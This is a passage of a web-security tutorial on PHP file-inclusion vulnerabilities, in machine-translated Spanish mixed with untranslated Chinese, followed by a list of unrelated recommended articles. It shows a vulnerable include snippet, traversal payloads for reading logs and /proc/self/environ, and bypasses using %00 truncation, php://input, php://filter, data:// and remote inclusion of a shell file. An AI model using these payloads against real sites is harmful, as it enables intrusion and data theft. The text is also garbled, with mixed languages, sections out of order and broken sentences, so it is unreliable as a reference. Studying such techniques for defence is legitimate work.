contenido
4.9.3.1 Omisión de codificación de URL
4.9.3.2 Omisión de caracteres especiales
4.9.3.4 Truncamiento de longitud
4.9.3.5 Omisión de protocolo falso
4.9 Inclusiones de archivos
4.9.1 Conceptos básicos
Los archivos comunes contienen vulnerabilidades en forma de<?php include("inc/" . $_GET['file']); ?>
Considere varios métodos de inclusión de uso común como
- El mismo directorio contiene
file=.htaccess
- recorrido del directorio
?file=../../../../../../../../../var/lib/locate.db
- inyección de registro
?file=../../../../../../../../../var/log/apache/error.log
- utilizar
/proc/self/environ
Los registros se pueden probar utilizando varias fuentes de registro, como registros SSH o registros web.
4.9.2 Sumidero de activación
PHP
include
在包含过程中出错会报错,不影响执行后续语句
include_once
仅包含一次
require
在包含过程中出错,就会直接退出,不执行后续语句
require_once
4.9.3 Técnicas de derivación
Las aplicaciones comunes pueden llamar a una función para juzgar el archivo antes de que se incluya. Generalmente, existen varios métodos de omisión como los siguientes:
4.9.3.1 Omisión de codificación de URL
Si hay una coincidencia de cadena en el WAF, puede usar el método de codificación de URL para omitir el
4.9.3.2 Omisión de caracteres especiales
-
某些情况下,读文件支持使用Shell通配符,如 ? * 等 url中 使用 ? # 可能会影响include包含的结果 某些情况下,unicode编码不同但是字形相近的字符有同一个效果
4.9.3.3 %00 truncamiento
Casi el método más común, siempre que esté magic_quotes_gpc
cerrado y la versión de php sea inferior a 5.3.4.
4.9.3.4 Truncamiento de longitud
La longitud del nombre de archivo en Windows está relacionada con la ruta del archivo. La relación específica es: Calculada desde el directorio raíz, la longitud máxima de la ruta del archivo es de 259 bytes.
definición de msdn #define MAX_PATH 260
, el carácter 260 es el final de la cadena \0
, y Linux puede usar getconf para determinar el límite de longitud del nombre del archivo y el límite de longitud de la ruta del archivo.
Obtenga la longitud de ruta de archivo más larga: getconf PATH_MAX /root get 4096 Obtenga el nombre de archivo más largo: getconf NAME_MAX /root get 255
Luego, cuando la longitud es limitada, la ././././
forma (n) puede explotar el camino a través de este
En el código php incluye, este bypass requiere una versión de php < php 5.2.8
4.9.3.5 Omisión de protocolo falso
远程包含: 要求 allow_url_fopen=On 且 allow_url_include=On ,
payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式
PHP input: 把payload放在POST参数中作为包含的文件,
要求 allow_url_include=On ,payload为 ?file=php://input 的形式
Base64: 使用Base64伪协议读取文件,
payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式
data: 使用data伪协议读取文件,
payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,
要求 allow_url_include=On
4.9.3.6 Omisión de protocolo
allow_url_fopen 和 allow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。
Lectura recomendada
[Python Combat] Boda de ex novia, Python descifró el WIFI en el sitio de la boda y cambió el nombre a
[ python combat] Olvidé la contraseña del álbum de la diosa, solo escribí 20 líneas de código en Python~~~
serie de artículos de pygame
Aprendamos pygame juntos, 30 casos de desarrollo de juegos (2) - juego de defensa de la torre
Aprendamos pygame juntos, 30 casos de desarrollo de juegos (4) - Tetris game
Aprendamos pygame juntos, 30 casos de desarrollo de juegos (5) - Juego Xiaoxiaole
Herramientas relacionadas con pruebas de penetración
[Herramientas comunes de Kali] software de prueba de señal de información privilegiada_herramientas comunes de kali_recursos de documentación del software de administración de red inSSIDer - La
descarga Explicación y combate real - recursos de documentos de monitoreo de red - descarga de CSDN